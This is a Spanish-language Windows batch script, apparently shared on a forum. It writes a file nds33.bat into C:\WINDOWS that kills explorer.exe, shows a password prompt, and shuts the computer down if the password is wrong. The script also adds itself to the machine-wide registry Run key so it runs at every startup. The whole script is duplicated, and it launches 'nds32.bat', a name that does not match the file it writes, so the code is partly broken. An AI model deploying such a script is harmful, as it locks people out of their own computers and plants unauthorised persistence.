Código:
@echo off
cd \
cd C:\WINDOWS
echo @echo off > nds33.bat
taskkill /f /im explorer.exe > nul >> nds33.bat
echo echo. >> nds33.bat
echo goto menu >> nds33.bat
:menu >> nds33.bat
echo echo. >> nds33.bat
echo echo Elige una opcion: >> nds33.bat
echo echo 1.Introducir contrasna. >> nds33.bat
echo echo 2.Apagar el ordenador. >> nds33.bat
echo set /p opc= >> nds33.bat
echo if %opc%==1 (goto pass) else goto apagar >> nds33.bat
echo :apagar >> nds33.bat
echo shutdown -s >> nds33.bat
echo :pass >> nds33.bat
echo echo Cual es la contrasena? >> nds33.bat
echo set /p codi= >> nds33.bat
echo if %codi%==xxxx (goto bien) else goto mal >> nds33.bat
echo :bien >> nds33.bat
echo echo Cuantos minutos? >> nds33.bat
echo set /p min= >> nds33.bat
echo set /a resul=%min%*60 >> nds33.bat
echo start explorer.exe >> nds33.bat
echo shutdown -s -t %resul% >> nds33.bat
echo exit >> nds33.bat
echo :mal >> nds33.bat
echo msg * Contraseña Incorrecta! Intentalo de nuevo. >> nds33.bat
echo goto menu >> nds33.bat
reg add hklm\software\microsoft\windows\currentversion\run /v ncp32 /d C:\WINDOWS\nds33.bat
cd \
cd C:\WINDOWS
start nds32.bat
cd \
cd C:\WINDOWS
echo @echo off > nds33.bat
taskkill /f /im explorer.exe > nul >> nds33.bat
echo echo. >> nds33.bat
echo goto menu >> nds33.bat
:menu >> nds33.bat
echo echo. >> nds33.bat
echo echo Elige una opcion: >> nds33.bat
echo echo 1.Introducir contrasna. >> nds33.bat
echo echo 2.Apagar el ordenador. >> nds33.bat
echo set /p opc= >> nds33.bat
echo if %opc%==1 (goto pass) else goto apagar >> nds33.bat
echo :apagar >> nds33.bat
echo shutdown -s >> nds33.bat
echo :pass >> nds33.bat
echo echo Cual es la contrasena? >> nds33.bat
echo set /p codi= >> nds33.bat
echo if %codi%==xxxx (goto bien) else goto mal >> nds33.bat
echo :bien >> nds33.bat
echo echo Cuantos minutos? >> nds33.bat
echo set /p min= >> nds33.bat
echo set /a resul=%min%*60 >> nds33.bat
echo start explorer.exe >> nds33.bat
echo shutdown -s -t %resul% >> nds33.bat
echo exit >> nds33.bat
echo :mal >> nds33.bat
echo msg * Contraseña Incorrecta! Intentalo de nuevo. >> nds33.bat
echo goto menu >> nds33.bat
reg add hklm\software\microsoft\windows\currentversion\run /v ncp32 /d C:\WINDOWS\nds33.bat
cd \
cd C:\WINDOWS
start nds32.bat